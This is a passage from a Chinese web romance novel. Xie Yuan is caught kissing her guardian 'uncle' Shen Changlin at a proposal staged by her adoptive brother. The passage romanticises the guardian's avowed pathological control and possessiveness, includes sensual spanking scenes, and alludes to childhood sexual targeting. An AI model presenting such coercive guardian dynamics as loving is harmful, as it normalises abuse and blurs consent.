耳夹也是浅金色的,流苏坠下来,让小少女在一颦一蹙时,都透着灵动和姝美。
但谢沅好像完全注意不到自己的惑人。
她的唇边沾了奶油,眼眸里也透着水意,难受地说道:“我待会儿就要过去了,叔叔,您也赶快休息吧。”
沈长凛轻笑一声,说道:“别怕,沅沅,很快就会结束的。”
他做事就是那样的,对万事都仿佛不挂心上,漫不经心地就将事情轻易处理好。
如果是叔叔来参加宴席,肯定就不会慌张的。
谢沅被他看出心思,脸庞透着薄红,细声说道:“好,谢谢叔叔。”
她这边刚刚挂了电话,沈宴白就推开了大门。
两人好久没见,他真的依照约定,最近都住在公司里,就是每日还要给谢沅发消息。
她把他给拉黑了,然后他就用助理的联系方式给她发消息。
谢沅看到那一长串的内容,连点开的勇气都没有,她不想让人知道他们的事,于是把沈宴白又放了出来。
只不过一直屏蔽着,一眼都不多看。
但是今天温思瑜的订婚宴,两人总归是要一起去的。
沈宴白西装挺括,胸前别着浅金色的胸针,领带和袖扣也是一样的颜色,跟谢沅的礼服很相配。
她一点也不想跟他一起过去,眼下又没有办法。
谢沅被迫跟沈宴白同行,在路上却不肯理他,她带着蓝牙耳机,低头看了一整路的视频。
临到下车时,才不得不跟沈宴白走在一起。
她这幅模样很孩子气,还是那种被宠坏了的孩子。
这次的宴席非常盛大,来参加的人也很多,之前温思瑜的生日正宴已经够奢美,订婚宴却是有过之而无不及。
温家的商业帝国横跨欧亚,在全球都是排得上号的。
来宾多到谢沅数不过来,燕城、宁城、港城的权贵无数,金发碧眼的外国人也有很多。
社会公众人物同样不少,影帝、影后都有好几位。
谢沅快要看花眼,她这时候才庆幸身边有沈宴白跟着,这种太大的宴席,她一个人真的顾不过来。
但没多时,温怀瑾再度过来了。
谢沅睁大眼眸,没有想到这般盛大的宴席,他还会过来陪她。
温怀瑾笑得温和,对上沈宴白的视线时也很从容:“宴白,沅沅就交给我吧。”
他说这话时,不像是表哥,更像是以妹夫的身份在言语。
沈宴白的容色不快,轻声说道:“不用了,怀瑾。”
他本来就不喜欢温家人,尤其是温思瑜和温怀瑾这对兄妹。
但沈宴白没想到的是,他正说着,谢沅就已经从他身边离开,走到温怀瑾的侧旁,抬起水眸,柔声唤道:“好久不见,怀瑾表哥。”
她仿佛没听见他的话一样。
沈宴白难得有些气急败坏,低声唤道:“谢沅。”
谢沅更不想理他了,她的眼神里带着倔强和排斥。
沈宴白还没被人这么落过面子,温和的模样也快装不下去。
温怀瑾脸上的笑意却更甚了,他低笑了两声,声音和柔地说道:“宴白,沅沅表妹好像更想和我在一起。”
他看了沈宴白一眼,然后便直接虚揽着谢沅离开。
谢沅或许会看不出温怀瑾的眼神,但沈宴白却瞬时就明悟过来。
阴恻恻的,跟只老狐狸一样。
也就谢沅会觉得温怀瑾是个好人,是个温柔表哥,沈宴白没能拦住谢沅,很快又有人凑上来,将他给围住。
他心中的躁郁和憋屈,此时也只能全压下来。
沈宴白只是禁不住地在想,谢沅暗里的那个情人,不会就是温怀瑾吧?
想到这里,他的心绪更烦躁了-
谢沅确实有段时间没见到温怀瑾了,这段时间温家都在忙温思瑜的婚事,她开学以后事情也多。
温怀瑾照旧带着谢沅先去见了长辈。
温思瑜好像还在梳妆,谢沅只和姑姑沈蓉,以及温家的几位叔伯打了招呼。
沈蓉面带笑容,额前却覆着一层汗。
她不住地用帕子擦着,谢沅被她搂抱到怀里时,鼻间都是浓郁的香气。
香气实在是太重了,谢沅有点晕眩,但沈蓉没有让她立刻离开,含着笑问道:“沅沅,好久不见,你最近生活怎么样呀?”
都是寒暄的话,谢沅柔声地答了。
沈蓉握住她的手,话音却带着些意外的急躁,就好像连过渡都要过渡不下去。
“那你的婚事定了吗?”她看向谢沅,“你叔叔有说什么吗?”
谢沅神色稍异,她的樱唇微抿,还没想好要怎么言说。
沈蓉却好像误以为她问话太冒犯了。
她紧忙又笑着补充道:“你瞧,长凛最近繁忙,我本来想帮你再看一看的,可你叔叔不发话,我也不好直说。”
“不过你要是有心仪的人,尽管跟姑姑说,”沈蓉的笑容越来越夸张,“姑姑帮你牵线就是,包括我们温家的,也都无妨。”
她一边说,一边将目光投向了温怀瑾。
谢沅觉察出一种怪异。
她坐在沈蓉的身边,手指被沈蓉握得很紧,紧到有些发疼。
谢沅抬起眼眸,喉咙有些干涩,她低声说道:“谢谢姑姑,但是……”
她话还没说完,一直未曾露面的温思瑜就出现了。
她身着一袭酒红色的长裙,眉眼间都带着桀骜,身后还跟着两个保镖,像是被人强带过来的。
谢沅神情微怔,本能地就觉得不对。
温思瑜的容色冷着,声音也是冷的:“这婚我不结,妈。”
在场的除了谢沅,全都是温家的人,即便如此,众人听到温思瑜这么说时,依然是吃了一惊。
沈蓉“腾”地便站起身了。
“思瑜,你冷静些!”她额前的汗水,终于遮掩不住,“今天是你们的订婚宴,有什么事,等今天过了,咱们再商量,好不好?”
温思瑜的身后没有退路。
可她的神色是那样决绝,声音更是如若刀锋:“妈,我很冷静。”
“这么些年,您让我做什么我都做了,”温思瑜看向沈蓉,“小时候您让我跟怀瑾争,我争了,后来你意识到我争不过,让我准备嫁人,我也准备了。”
她冷笑一声:“但是你不能拿我的牺牲,去成全一个外人。”
温思瑜的视线稍移,看向谢沅身边的温怀瑾。
她的声音微哑:“沅沅,不要嫁给你表哥。”
“我不知道您还想利用多少人,妈,”温思瑜的声音颤得厉害,“但我希望您能早些认识到,表面上的体面没任何用途!”
“你越想别人看得起你,”她哑声说道,“别人就越看不起你。”
温思瑜的话语还没说完,沈蓉就狠狠地扇了她一巴掌。
昔日总是体面优雅的姑姑,额前被冷汗浸湿,沈蓉的发丝也乱了,神情被挨了一巴掌的温思瑜还要更狼狈难看。
她声音沙哑:“把大小姐带下去。”
谢沅此刻是那么清楚地认识到,沈宴白当初的话语是什么意思。
燕城有头脸的这些人家,就没有哪家是干净的。
越是高门大户,越是藏着不知道多少的腌臜。
谢沅坐在沙发上,胸腔里的心脏在剧烈地跳动着,林家曾经不就是吗?
那些叔伯和哥哥们看起来都是很好的人,心思却一个比一个还要脏污,就连姐姐们也是如此。
他们都知道谢沅的继父为何娶她母亲。
那个男人一向喜欢稚嫩的女孩,要结婚时却娶了一位二婚的夫人,虽然身份特殊,又是谢敏行独子的遗孀,可跟林家的门第相比,还是差了些。
但见到谢沅后,他们便全都明白过来了。
原是为了这个小女孩。
甚至有些叔伯等着她的继父玩腻了,好继续接手一吻芳泽,早早就做好准备,平时看她的眼神也透着怪异。
整个家里,所有人都心知肚明的事情,唯有谢沅不明白。
她是被众人看着怎样落入深渊里的。
所以后来只要是见到林家的人,哪怕是很远的支系,谢沅依然会感到害怕。
她竭力地想要藏好的伤疤,其实好多人都知道的。
或许到现在那些人还在暗里调笑,遗憾没有最终得手。
谢沅看向被人带下去的温思瑜,心口不住地作痛,有一种难以言说的兔死狐悲感泛起,在胸腔里剧烈地涌动痛楚。
室内很多人,却没有一个人会向温思瑜伸出援手。
温家的叔伯们,更是纷纷沉默了下来。
沈蓉回过头来,看向谢沅和温怀瑾,唇边又换上笑容:“思瑜今天不太舒服,烧得都说胡话了。”
她和蔼地说道:“怀瑾,你带沅沅先去休息室吧,这边估计还要些时候。”
那一刻沈蓉不像是个活生生的人,更像是个会画皮的妖怪。
谢沅心绪紊乱,她没有应话,就从内厅走了出去。
温怀瑾神色微变,紧忙追了过去。
谢沅靠在墙边,跟秦承月打电话,她低着头,眸里似在垂泪。
电话拨了许久才接通,她的声音也带着哭腔:“承月哥,你今天来温家了吗?思瑜姐姐、思瑜姐姐她……”
听到谢沅哭了,最先慌了的却是另一边的秦承月。
“别哭,沅沅。”他低声说道,“我在这边,你别怕,这些事情我都知道。”
秦承月有些急,怕谢沅情绪波动太大:“你身边有人吗?你哥哥今天是不是跟你一起过来的?让他先带你去休息,好不好?”
温怀瑾离得很近,听见了他们的对话。
他俯身少许,温声说道:“承月,我在沅沅身边。”
谢沅的气力没有温怀瑾大,手机也被拿了过去。
他轻声说道:“我马上就带沅沅去休息,你有事跟我联络就行。”
“沈宴白没跟你们一起吗?”秦承月微怔了一下,“他今天是跟沅沅一起来的吧?”
温怀瑾声音很轻,继续说道:“没呢,宴白挺忙的,没空管沅沅。”
秦承月沉默了片刻,说道:“好,那今天麻烦你照顾沅沅了。”
两人通话完后,温怀瑾才把手机还给谢沅,她的眼眸还透着红,小手拉住了他的衣袖:“怀瑾表哥,你知道思瑜姐姐在哪里吗?我想看看她。”
上回沈宴白抢走她的手机。
温思瑜一气之下直接杀到了沈氏总部,当着许多人的面,把沈宴白骂了一顿。
谢沅事后好久才知道。
温思瑜虽然不会明言,但谢沅知道,温思瑜一直都很疼她。
谢沅的手指柔软细白,温怀瑾低眼看向她,眸色有些晦暗,他声音很轻:“你要不先给你叔叔打个电话吧,沅沅?”
他缓声说道:“掺和这种事情,可能会给你自己带来麻烦的。”
“我叔叔不会的!”谢沅细声争辩,“他……之前也是希望思瑜姐姐的婚事能顺利的。”
沈长凛不是会强迫晚辈如何的人。
其实从他给出的那个条件就能看出,对于温思瑜和秦承月的事,他没有多么否定。
年轻人两情相悦,就已经是很难得的事。
温怀瑾有点为难,但看向谢沅时,唇边还是带上了少许笑意。
“我可以帮你,沅沅妹妹。”他温声说道,“但跟之前承月的事一样,后果须要你自己承担,可以的话点点头,我帮你。”
柔弱到菟丝花一样的姑娘,坚定地点了点头。
曾经的她连细微的风雨都经不住,可如今这个孩子也长大了,她依然不是能够顶天立地的乔木。
但她是一朵能令绝境中的人感知到温暖的花。
温怀瑾想起沈蓉的那句话,谢沅真的是个很好的孩子。
虽然她没法再属于他。
温怀瑾抬起眼眸,眼底的晦暗消退了个一干二净。
他轻轻拉住了谢沅的手:“那跟我走吧。”-
温思瑜脱离温家的新闻和秦承月脱离秦家的新闻,是在同一天晚上爆出来的。
在那场盛大的订婚宴上,女主角温思瑜最终选择放弃一切,逃婚去和曾经的爱人在一起。
有趣的是,男主角明席在知悉这件事后,颇为愉快地开了瓶香槟。
【敬自由,敬爱情。】
事后他又在社交平台上发了这句话。
在这个圈子里,有太多的尔虞我诈、虚与委蛇,他们可以掌控旁人的生死,却不能主宰自己的命运。
反倒是那些敢于不顾一切的人,更令人敬畏。
整个圈子都在讨论这件事。
谢沅根本不敢声张,她在里面起到了什么作用,像小鹌鹑似的乖乖待在家里多时。
也是等到李特助某天言说沈长凛心情不错,她才敢斟酌言辞,把事情告诉他。
他听到没有多言,轻声笑了一下:“好。”
谢沅觉察不出沈长凛是高兴,还是不高兴,她赶快又用其他的话题盖过去,最后还丧权地捂住眼眸,在视频通话时主动了一次。
她羞得不住掉眼泪。
沈长凛却越来越狠戾,只逼得谢沅哭了三四回,才算作罢。
他的声音那么温柔,规则却那么严格。
结束后谢沅把沈长凛从置顶挪了下去,一整天都没跟他发一条消息,第二天他打来电话,她还是觉得羞赧。
沈长凛很坏,提起旧事:“你之前喝酒,还给我拍照片。”
谢沅的脸庞更红了,她带着小脾气说道:“你不许再提了。”
她都羞得快要死了,他怎么还有兴致欺负她呢?
沈长凛低笑一声,说道:“叔叔马上就回来了,到时候会喂饱我们沅沅的。”
谢沅受不了,“啪”地挂断了电话,她不要再理沈长凛了。
不过她看了眼日历,沈长凛真的快要回来了。
两个人真的是好久没有分开这么久过。
谢沅不理沈长凛,但心里总还是忍不住地想他,好在他马上就要回来。
她周六要跟着沈宴白去参加一个宴席,等到第二天睡醒,就可以准备去接沈长凛了。
不出意外的话,周日中午他就能回来。
谢沅烦乱的心情又好起来,这些天只有一个小插曲格外讨厌,就是谢沅在写日记时,沈宴白窥见了她以前的日记。
她的大部分日记都是用本子写的。
去年冬天那段时日,心情很坏,用的是活页纸,有时候写着扔着,十来天下去也没留几页。
不知道为什么,那几张日记被单独放在了一处。
谢沅不记得上次整理是在什么时候,她坐在起居室的窗边整理日记,一阵大风忽然把那些纸张都吹了起来。
她急匆匆地去追,纸张飘来飘去,一直落到了一楼。
沈宴白站在阶梯之下,抬手就捡到了谢沅的日记。
【好想他。准备了好多圣诞节相关的东西,还装饰了圣诞树,槲寄生也是自己挑选的。】
【不知道他会不会喜欢。】
【真的好想他。好久都没有见面了。】
寥寥的几行字,还全都是划痕。
但沈宴白却感觉到了心灵被敲击的声响,有一种跨越时间的沉闷钝痛在作祟,细密如碎针,叫人的胸腔都发麻。
在他最不爱谢沅的时候,她曾经真的有很爱过他。
谢沅站在楼上,脸庞因为羞意和怒意而涨红,她匆匆地走下楼,把日记夺了回来。
“你没有礼貌。”她指责道,“怎么能偷看别人的东西?”
沈宴白最近可以回家了,但是还不被应允和谢沅同时出现。
她威胁人的手段很低级,就是要自己出去住,可这个笨蛋的手段,却出奇的有用。
沈宴白的喉咙发痛。
在他不知道的那些时光里,谢沅到底为他掉过多少泪水?他用他这一辈子,能够还清吗?
沈宴白答非所问:“或许你不相信,但是沅沅,哥哥也是真的爱你。”
谢沅听不得他说话,头也不回就上楼了。
她踩着兔子脱鞋,理都没有再理沈宴白。
一直到周六的那场宴席,两个人才再度说上话,谢沅不想跟沈宴白一起,是司机单独送她过去的。
宴席的酒店星级很高。
但不知道怎么回事,谢沅总觉得这宴席有些不对。
外面的烟火很漂亮,宴会厅的装潢也很华美,她却总有一种莫名的感觉。
玫瑰花用得好像太多了,还有那些气球是怎么回事?
老先生的寿宴,须要这个样子吗?
谢沅没跟沈宴白一起露面,外间的夜景绚丽,她站在露台边,去走了个过场后就寻地方躲了起来。
他刚又训她,说不许乱走,最多能去休息室待着。
谢沅更不想理会沈宴白了,她迎着风看烟火,碰巧又遇见温怀瑾。
他似乎是刚好在这附近应酬,见到她轻轻笑了一下:“真巧,沅沅妹妹。”
谢沅是躲出来的,她有点不好意思,应道:“晚上好,怀瑾表哥。”
两人简单聊了片刻,然后又一起看了会儿烟花。
看完以后,温怀瑾顺道送谢沅回去,她敢偶尔躲一会儿,却也担心待会儿再有事,毕竟沈宴白特地交代了的,可能还真的有什么要事也说不定。
温怀瑾笑着说道:“你最后才看出来吗?沈蓉一直想让我娶你的。”
谢沅更加不好意思了。
他看向她,声音轻轻的:“我刚开始不甘心,后来觉得娶你也不错,沈长凛那么疼你,我帮你们遮掩,肯定能轻易借到沈家的势。”
温怀瑾这句话来得很突然,没有任何的预警。
谢沅愣怔在原地。
她初听时没有明白,回味过来“遮掩”二字时,陡地意识到温怀瑾在说什么。
“你没感觉到吗?”温怀瑾笑了一下,“我一直都很想碰你,特别是上次在温思瑜的订婚宴上。”
他低声说道:“我的真的很想知道,能让沈长凛那样的人魂牵梦绕的女孩,到底是什么滋味。”
“我还没碰过女人呢,”温怀瑾有点遗憾,“当时我都打定主意了。”
他说这话时,神色很冷静。
霍阳告诉过谢沅要小心温怀瑾。
但也是这一刻,她才意识到这个看似温和的邻家兄长,到底有多冷血的一面。
谢沅的额前沁着冷汗,下意识问出来的问题却是:“那你为什么没碰我?”
当时她独自跟温怀瑾在一起,他有太多机会动她。
如果他递来的是加过药的水,她那时候匆忙又紧张,也会毫无顾虑地喝下去。
“因为我想,你叔叔可能不须要我来做这个遮掩了,”温怀瑾笑了一下,“你中指上的指痕很明显,之前那则天价钻石的新闻,我也看到了。”
他真可怕。
谢沅低眼看向左手的中指,的确有一层很浅的痕印。
怪不得沈长凛非要她戴戒指,他也可怕。
谢沅站在走廊里,眼眸微暗:“为什么还要告诉我这些呢?”
“只是想告诉你,男人都没什么好东西就是了,”温怀瑾的神色有些散漫,“别轻信于人,包括我这样,傻丫头。”
“不过你叔叔真有够疼你的。”他笑了一下,“求婚戒指都要用三千万美金的钻石。”
谢沅低着眸,没说话。
许久她方才说道:“他确实很爱我,我也很爱他。”
温怀瑾愣怔了一下,然后又笑出来:“祝你们幸福。”
说实话一直到走进休息室后,谢沅都没明白温怀瑾今天过来是想要干什么的。
她低着眼眸,心绪还有些乱。
谢沅转过身,“唔”了一声,愣神的短暂功夫,就被人掐住腰身抱在了腿上。
她被吻得喘不过气,剧烈地挣动着,但闻嗅到熟悉的雪松气息后,她立刻就停止了挣动,并生涩地回吻。
谢沅的眼眸里都是泪水。
被放开的刹那,她紧紧地攀上了沈长凛的脖颈:“叔叔!”-
沈宴白为此次求婚做足了准备,但说实话,他并不觉得他能成功。
他也没有希望,他能够成功。
沈宴白只是希望谢沅知道,这一次他是认真的,而且他愿意用这烽火戏诸侯般的狼狈,来弥补谢沅当初的窘迫和难看。
她要是答应,那是他三生有幸。
她要是没有答应,也没有关系,以后他会好好地继续追她爱她。
但沈宴白也没有否认自己的私心。
他要比温怀瑾和霍阳他们更快在众人面前,明确他和谢沅的关系。
最好闹得全世界都知道他在追谢沅,也好断了那些藏在暗处人的念想。
沈宴白一边这样想着,一边算着时间。
求婚仪式很盛大,当事人却不知所踪,跟在沈宴白身边的朋友自告奋勇,笑着说道:“哥,我们也去帮着找找。”
酒店很大,但谢沅其实也没什么地方可以去。
无非就是露台和休息室。
可谁也没有想到,等到众人寻过去的时候,谢沅正被男人抱在腿上亲吻。
眼尾湿红,低声呜咽,伶仃的脚踝被修长的指节攥着,轻轻把玩。
为首的人有些高兴,还以为沈宴白先一步找到了谢沅,一众人正要过去,那男人轻轻抬起了眼眸。
他不是桀骜不驯的大少爷,而是矜贵冷情的沈家家主。
那一刻,没人不感到惧怕。
沈宴白来得稍迟,只有他开口说话,打破这一片的死寂:“怎么了?你们找到沅沅了吗?”
人潮如海般分开,他一抬起眼帘就和沈长凛对上了视线。
两双眼眸生得极为相似,哪怕是最亲近的人,也会有在某个瞬间认错的可能。
第63章
沈长凛在海外的事情,周五时就处理完了。
沈家是典型的家大业大,产业无数,横跨多国,如果没人精心打理,还真的很容易出乱子。
现在这边的麻烦处理完了。
可再过段时间还要再寻新的主事人。
如果是独身一人时,沈长凛不介意先在海外坐镇一年半载,但家里还有孩子在等着。
哪里好让她孤孤单单地待着?
谢沅读书时,沈长凛经常离开很长时间,有时两个多月方才回来。
走的时候她还在期中考试,一回来她都开始放寒假了。
小孩子高高兴兴地过来接他,穿着毛茸茸的棉服,她小时候在南方待得久,有点怕冷。
才刚一月,就把围巾和耳罩全戴上了。
软绵绵的小姑娘,眼眸里都是期待和想念,站在人群中时是那样的亮眼。
沈长凛年轻时性子比现在冷淡得多。
他会让人仔细关照谢沅,也会看她每天的行程,但那时他做事时却很少想起谢沅。
思念这个情绪,只在飞机落地后,方才会短暂地涌现。
可是不知道自何时而起,这种情绪成为一种本能。
这两年沈长凛出国的次数比先前少了许多,远门也不怎么出了,能让旁人代劳的事,就绝不亲临。
他管谢沅也越来越严格。
特别是在她住了半年校,差点出事情之后。
沈长凛知道谢沅是想在外面住的,她在学校的宿舍住得不开心,也从没想过要搬回家。
但在那时候,他就直接拒绝了她。
沈长凛几乎是有些强硬地让谢沅回来家里。
其实之前谢沅也很乖的,每周五下课,她就会背上包回家,到家的时间最迟都不会晚于七点。
知道谢沅在学校受委屈时,他心里到底是愠怒居多,还是快慰居多?
终于有理由让她回来。还是正大光明的理由。
谢沅非常顺从地答应了,甚至还有些抱歉,觉得是她的事,给沈长凛带来麻烦了。
病态的掌控欲就是在那一年里疯狂膨胀的。
然后就是无法控制的思念。
他越来越不喜欢出远门,不喜欢离开,也不喜欢谢沅离开,分别逐渐成为一件难以忍受的事。
沈长凛事后才清楚地意识到,他开始想着谢沅的时间,远比他以为的要早太多。
在他还没觉察到这是爱的时刻,他就已经不再能够忍受分别。
沈长凛站在落地窗边,看向外间的花海。
他无声息地想,他的沅沅这时候在做什么?她会想到他吗?
像他想她一样地想着他。
沈长凛看了片刻,最终是让人将之前定好的航班给改签了。
葡萄酒庄,玫瑰花园,无数的纸醉金迷,都不过是过眼云烟罢了,再多的奢美华丽,终究是比不过家里孩子的一句笑语。
上回将人逗弄过了,连消息都不跟他发了。
还是早些时候回去哄一哄,免得人越来越生气。
沈长凛倚在窗边,高挑的身形拉出一道长长的剪影,如刀锋般锐利,可那双色泽稍浅的眸里,全都是很柔软的情绪。
直到温家的那孩子打来电话的时候。
温怀瑾带着笑意说道:“舅舅,真不好意思打扰您了。”
沈长凛那时还在车上,他漫不经心地“嗯”了一声,声音冷淡地问道:“有什么事吗?”
温怀瑾声音很轻:“是有关沅沅的事,舅舅。”
沈长凛对这个晚辈不太熟悉,温家的那些人在他的眼里,不过是沅沅的玩伴罢了。
她的世界孤单无趣,应该有些朋友,应该有些亲近的人。
温思瑜虽然跟沈宴白很像,有点不着调,但却是一个合格的玩伴,她常会带谢沅去玩,每次行程的时间和人员安排都很合适。
听到温怀瑾的这句话,沈长凛才稍用心了少许。
“你说。”他轻声说道,“我在听。”
沈长凛的压迫感强,即便是隔着电话,也依然能令人感知到,他是一个怎样位高权重的上位者。
温怀瑾不敢乱来,也不敢胡乱言语。
他恭恭敬敬地将事情告知沈长凛,一句话都不敢藏私。
说实话,温怀瑾原本没想做这么绝的,他跟霍阳明争暗斗过,但霍阳也不过是使使性子,在谢沅面前骂一骂他罢了。
沈宴白的性子当真偏执。
他跟谢沅那天不过是稍有亲近,沈宴白便明着暗里来警告。
那哪里是一位哥哥应该有的模样?分明是一个病态至极的觊觎者。
温怀瑾就是眼看着谢沅嫁给霍阳,他都不想沈宴白如愿。
他觉得这个人真是古怪极了。
温怀瑾对沈家的事比较了解,也知道沈宴白不喜欢谢沅,他同样是很后来才觉察到谢沅也喜欢过沈宴白。
他就是觉得挺讽刺。
谢沅爱沈宴白爱得至深时,沈宴白恨不得将她赶出家门。
但现在她心里有真正爱的人了,开始抗拒他、厌恶他,他反倒又巴巴地追上来了。
瞧着桀骜不驯的大少爷,背里阴郁偏执,疯得叫人害怕。
温怀瑾和谢沅都没有实质性的关系,沈宴白也想要报复,那他也没必要让沈宴白好过。
他很早就感觉到谢沅和沈长凛的关系不寻常。
叔侄之间,再亲昵也不至于到那种地步。
尤其是沈长凛的身份那般尊崇,可就是那么矜贵温雅的一个人,真的为谢沅纡尊降贵了。
温怀瑾精于算计,他都已经算好,等温思瑜逃婚后,就把和谢沅的事渐渐提上来。
他愿意和沈长凛坦白,甚至愿意主动戴上这顶绿帽子。
直到看到那则天价钻石的新闻。
接着就是谢沅指间的戒指痕。
能细节到这个地步,为她戴上戒指的人,一定是个独占欲很强的男人,他也一定是个很爱很爱她的男人。
温怀瑾到底是放弃了。
他不知道谢沅对沈宴白的感情还余下多少。
但他不想让沈宴白好过,不想让沈宴白这么顺利。
沈长凛声音和柔,他轻轻地挂断电话:“好,谢谢你。”-
谢沅白皙的双腿分开,跨坐在沈长凛的腿上,她的手臂攀着他的脖颈,臀根的软肉也被他的指节托着。
他吻得很重。
长驱直入的吻,让谢沅的吐息都紊乱起来。
她的眼尾湿红,低声呜咽着唤道:“慢、慢一点,叔叔……”
虽然两人的久别重逢,但沈长凛也不能吻这么重。
谢沅的小腿纤细,脚踝瘦到近乎伶仃,也被男人的指节攥住,不轻不重地把玩着。
她坐在沈长凛的身上,可整个人都被他掌控在了指间。
这还是在外面,在宴席的休息室里。
一想到可能会有人撞见,谢沅就禁不住地怕,但沈长凛没有理她,狠掐着她的下颌,吻得更深更重。
她招架不住,身躯如同花枝般颤抖。
谢沅的脸庞潮红,眸里也尽是水意,她觉得沈长凛不是在吻她,而是想将她拆吃入腹。
她轻轻地挣动了一下。
可腰身被紧攥着,没有细微的挣扎余地。
谢沅的腰身很敏感,经不住这样的重揉,颤抖了一下便再无法挣动。
她忍不住地哭,压得低低的呜咽声,在寂静的休息室里,更能勾起人的摧折欲。
沈长凛掐着谢沅的下颌,眸色深暗,再没有对她的怜惜,那双色泽稍浅的眸里,只有无尽的恶欲。
所以直到那扇门被众人从外间推开时,他也没有停下来。
谢沅隐约听见动静,她像惊弓之鸟般地想要挣扎,腰身却被攥得近乎泛起青紫,身躯也被死死地按在了男人的膝上。
她的耳边嗡嗡的,并没有听清。
谢沅只是本能地觉得有人进来了,她的身躯绷紧,心弦也宛若被拉到极致的长弓。
休息室里安静得近乎死寂。
直到沈宴白进来的那个瞬间,他声音很轻:“怎么了?你们找到沅沅了吗?”
他的语气很柔和,像是在唤妹妹、唤爱人,唤他放在心里的很重要的人。
谢沅坐在沈长凛的腿上。
她的樱唇被吻得红肿,眼眸湿润,容色潮红,就连眉梢都带着绮媚。
谢沅紧抿着唇,回眸对上沈宴白视线的刹那,她脑海里的思绪是一片空白。
外面站着很多人,但他们连头都不敢抬。
跟她对视的,只有沈宴白一人。
即便如此,在那个瞬间谢沅还是觉察到了深重的溺水感,她的足腕被人攥着往下拖拽。
强烈的下坠感,让她不知道该言说什么。
谢沅知道这一天总会到来,她跟沈长凛的关系,到底是要让沈宴白知道,要让家里人知道,甚至要让全世界都知道。
但她没有想过,这一天会来得这么突然。
谢沅本能地看向沈长凛,他的神情平静至极,但那双漂亮的浅色眼眸里,却只有深暗的晦涩。
他轻笑一声,说道:“抱歉,打扰你的求婚仪式了。”
谢沅的眸光震动,她陡地意识到那些怪异从何而来。
今天晚上根本不是哪位老先生的寿宴!
是沈宴白想要向她求婚。
谢沅的身躯紧绷,肩头颤抖,有一种难以言说的恐惧突然袭了上来。
她的额前尽是冷汗,纤细的手指也冰冰凉凉,像是坠入了冰窟。
谢沅的声音压得极低,她拉住沈长凛的手,强忍泪意解释道:“叔叔,我跟哥哥什么也没有……”
但这不是她说话的场合。
沈宴白站在众人的最前方,他侧身低声说道:“我这边有点事要处理,辛苦你们先稍等一下。”
谁敢在这时候作乱?
众人纷纷低着头,大气也不敢喘地离开。
沈宴白将门掩上,他穿着深色的西装,容色是谢沅从没有见过的难看。
沈长凛倒没什么情绪,他抱着谢沅,轻轻帮她梳理发丝,她很紧张,额前的发丝都被冷汗浸湿了,贴在潮红的脸庞上,更显绮媚。
她好像很害怕,身躯抖若筛糠。
沈长凛动作不轻不重,拍了下谢沅的软臀,轻声说道:“别乱动,沅沅。”
她被打疼了,可却一声低哼都没敢发出。
男人的指节修长,就那样落在被打红的肉臀上。
隔着一层薄薄的布料,触感分明得叫人害怕。
谢沅的贝齿紧咬着红肿的唇瓣,她娇弱乖柔地趴在沈长凛的怀里,还在带着哭腔声声讨饶:“我不动了,叔叔。”
沈长凛一点遮掩的意思都没有。
当初被谢沅藏在落地窗边时,沈宴白是听到过类似动静的。
沈长凛待谢沅疼宠到溺爱的地步,但他的规矩也是严苛的,谢沅很乖,偶尔也会犯错。
他管教她时,不会太敛着。
但那些窸窣幽微的动静,哪里比得上眼前的场景更有冲击?
谢沅对情爱事的反应很迟钝,连谁喜欢她,谁心里在想着她,都全然感觉不到。
她还十分害怕跟男人接触。
沈宴白刚刚回国时,偶尔把控不好度,只是靠近都会将谢沅给吓到。
她世界中的人很少,亲近的人更不多,就和秦承月有过婚约,但两人相处多年,愣是没有生出一缕情丝。
所以沈宴白理所应当地认为,谢沅仍是懵懂的。
他深谙风月,对此间事近乎带着自负。
然而看到此情此景,沈宴白再也不能哄骗自己,谢沅和沈长凛真的没有过什么。
他们不止有过什么,或许还早在暗里共枕多时。
他以为天真单纯的妹妹,在他不知道的时候,早就被人养熟了。
沈宴白想要再冷静些。
可是他能感觉到,他的眼在变得越来越热。
沈宴白哑声说道:“沅沅,你跟哥哥说实话,是叔叔强迫的你吗?”
这是他今夜开口的第一句话,谢沅被沈长凛按在怀里,本就不断震颤的身躯抖得更加厉害。
她平生从未有过这么紊乱的时候。
就是当初和沈长凛意外共枕,翌日清醒过来时,谢沅的思绪也没有这么乱。
沈长凛换了个姿势抱起谢沅,掰过她的脸庞,让她看向沈宴白。
他的声音很轻,柔得像风一样:“哥哥问你话呢,沅沅,要有礼貌,说一说,是不是叔叔强迫你的?”
沈长凛的声音温柔,眼底却只有近乎残酷的深暗。
谢沅被他逼得想要昏死过去,但又被迫回答问题。
“不是,哥哥。”她含着泪说道,“我是主动和叔叔在一起的,你不要误会。”
谢沅感觉她快要疯掉了。
明明都是真话,坦然的话,她却感觉情绪快要到极限。
“我很爱叔叔,叔叔也很爱我,”谢沅颤声说道,“你不要再打扰我们了,好不好?”
这更是之前就已经说过的话语。
谢沅的思绪却越来越乱,她的眼泪也不住地往下掉。
她不知道她在怕什么,只是这样的场景,就让她恐惧得厉害,身躯不断地颤抖着,全靠沈长凛搂抱着,才没有从他腿上跌下去。
沈长凛低笑一声。
他换了个姿势抱起谢沅,眉眼里带着少年人般的矜贵和傲慢。
“你听见了吗,宴白?”沈长凛轻声说道,“我跟沅沅是两情相悦。”
他坐在长沙发上,怀里还抱着谢沅,但反倒是站着的沈宴白更像是在仰视他。
沈长凛抬起眼帘,漫不经心地说道:“而且你还不知道吧?沅沅早先就接受了我的求婚。”
他将谢沅打横抱了起来,色泽稍浅的眸里没有一缕温和情绪,只有深暗到近乎骇人的恶欲。
控制欲,占有欲,掠夺欲。
沈长凛从来都不是欲念病态的人。
他温柔矜贵,待人宽容大度,手下的人无不忠心耿耿,做事也严谨,从不猜忌多疑。
哪怕偶尔待生人略有冷情,也不过是淡漠了些而已。
但此刻沈长凛的言辞看似和柔,语气里透着的却尽是讥讽的冷意。
那是一个全权的占有者,在面对觊觎者时会出现的姿态。
沈宴白站在门前,他的身躯僵硬,薄唇抿着,脸色是从未有过的苍白。
沈长凛哪里是温柔和善的人?不过他一直没有触碰到沈长凛的利益点,所以沈长凛不在乎罢了。
旁人都觉得沈家是多么宝贵,甚至还有人言说沈长凛会不会吞夺原属于沈宴白的东西。
可是沈宴白比谁都清楚。
沈老先生的遗嘱中是明确写过,沈家的一切都交付小儿子沈长凛的,而且在生前他也提过许多次这件事。
沈家本来就是沈长凛的。
他不意欲继承沈家不是因为待沈宴白多亲重,只不过是因为不在乎,继续养着沈宴白也是。
沈宴白对他忠心耿耿,而且跟沈家那些作恶者没有牵扯,这便已经足够了。
沈长凛不在乎这些有的没的。
他对什么事都是漫不经心的,万事都不挂心上。
但谢沅不一样。
